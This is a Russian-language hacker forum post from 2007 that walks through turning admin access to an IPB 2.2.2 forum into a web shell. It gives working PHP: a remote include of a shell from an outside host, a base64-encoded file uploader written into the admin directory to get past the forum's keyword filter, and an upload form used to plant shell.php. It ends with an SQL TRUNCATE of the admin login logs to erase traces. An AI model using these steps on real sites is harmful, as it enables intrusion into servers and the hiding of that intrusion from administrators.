Автор: n-000
Как то я столкнулся с такой проблемой :
Есть админка от форума IPB v2.2.2, но хотелось бы что то вроде шелла =))
Эта версия оказалась намного доработанней чем прежние и залить шелл казалось мне просто мало реальным. Но я прекрасно осознавал что в форуме с такими наворотами и настройками фсегда найдёца недоработка... мелоч, а приятно -)
Скачал себе такой двиг и начал тестить на локалхосте... вобщем зделал попытку заливки через SQL, там в форуме есть такая фича в админке, как Управление SQL во фкладке ПРОЧЕЕ !
Сработало ! заарал я и приконектился к жэртве -)
Но однако получился облом, т к конфигурация сервера на котором хостился форум более жёсткая чем у меня на локалхосте -(
Патом пробывал залить через фичу добавления смайликов и стилей ... т к я не очень дружу с хмл то порядком поиздевавшись над хмл файликами и своими нервами я бродил по админке и искал другие способы...
И тут во фкладке НАСТРОЙКИ я набрёл на функцию *
Добавить настройку* и начал изучать открывшующя пагу... и тут я наткнулся на вот такие слова *
Выполнение PHP-кода до отображения или сохранения настройки:* !
Это уже интересней подумал я с расплывающимся ипалом )
И первым жэ делом зделал так:
Сперва я создал настройку (задаёте произвольное название настройке, например 123) и в поле для PHP ввел вот такое
PHP код:
$save = 1; до сохранения настройки.
Используйте $key и $value во время написания PHP-кода.
include('http://kaki.net/shell.txt');
И тут жэ снова обломался, получив сообщение от форума
+----------------------------------------------------------------+
| You cannot use executable PHP function keywords such as |
| (include, require, include_once, require_once, exec, system and passthru) |
| |
+----------------------------------------------------------------+
-Наивный албанския парень, сказал мне форум (для тех у кого плохо с англицким =))
Но тут сразу жэ задумался - а что если средствами php зделать скрипт для заливки файла, самый наипростейший и зделать простую форму отправки ... и залить шелл на сервер, снова врубил локалхост и начал пробывать ...
Задумка у меня была такой... средствами PHP создам файл в этой же дири что и админка forum/admin/ ! Например conf_ini.php .
листинг файла
PHP код:
$save=1;
$scr=base64_decode('PD8NCiR1cGxvYWRkaXIgPSAnQzovdm FyL3d3dy94eHh4eHh4eC5ydS9kYXRhL2ZvcnVtL2FkbWluLyc7DQppZiAobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbG UnXVsndG1wX25hbWUnXSwgJHVwbG9hZGRpci4kX0ZJTEVTWydm aWxlJ11bJ25hbWUnXSkpDQoge2VjaG8gJ/Px7+X47e4nO31lbHNle2VjaG8gJ8746OHq4Cc7fQ0KPz4=');
$fl=fopen('conf_ini.php','w+');
@fwrite($fl,$scr);
вот кусок который я закодировал
PHP код:
<?
$uploaddir = 'C:/var/www/xxxxxxxx.ru/data/forum/admin/';
if (@move_uploaded_file($_FILES['file']['tmp_name'], $uploaddir.$_FILES['file']['name']))
{echo 'ну вот тебе радость';}
else
{echo 'обламайся гнус';}
?>
Тут самое главное правильно указать путь к папке админа, если вы не знаете полный путь можно посмотреть его либо функцией getcwd() либо из появившихся ошибок.
После того как скрипт сработал я почапал по адресу forum/admin/conf_ini.php и увидел надпись о том что скрипт сработал (а сработает он не удачно, т к загрузки пока нет), самое главное скрипт сработал !
Дальше я вернулся к опции настроек и изменил php код уже имеющейся (созданой) настройки на
PHP код:
$save=1;
echo '
<form enctype="multipart/form-data" method="post"
action="http://www.xxxxxxxxx.ru/forum/admin/conf_ini.php">
<input type="file" name="file" size="30"><br><BR>
<input type="submit" value="gooo">
</form>
';
После того как я сохранил эту настройку, вверху поивилось поле (file) с кнопкой (gooo)... Ну и так скать процесс пошёл -) и пошёл неплохо ...
После завершения закачки я зашёл по адресу http://www.xxxxxxxxx.ru/forum/admin/shell.php
и злорадствовал =)))
---------------------------------------------------------------------------
З.Ы.Да, забыл добавить, что создав файлик не на залифку шелла а на инклуд со своей паги сервер залупился и сказал что удалёное использование скрипта через инклуд идёт нахер !
Чистим следы ...
Если вы хотите что бы админ ничего не заподозрил, то можно почистить записи о вашем прибывании в админке IP адресе нике и времени
Хнопочки или стандартной функции на очистку этих данных в админке нет (по крайней мере я не нашёл, так что еси есть нагами не пинайте)
Зделать это можно при помощи того жэ SQL на форуме -))
Идём во фкладку
ПРОЧЕЕ ищем там в меню (
Управление SQL -> Инструменты) и выбераем таблицу
ibf_admin_login_logs, (префикс ibf стоит по умолчанию при инсталяции форума)
Дальше в поле для ввода команд базе прописываем
TRUNCATE `ibf2_admin_login_logs`;
Опачки -) и записи пропали -))
PS Материал востановлен
Дата публикации: 03.08.2007, 00:33
Автор n-000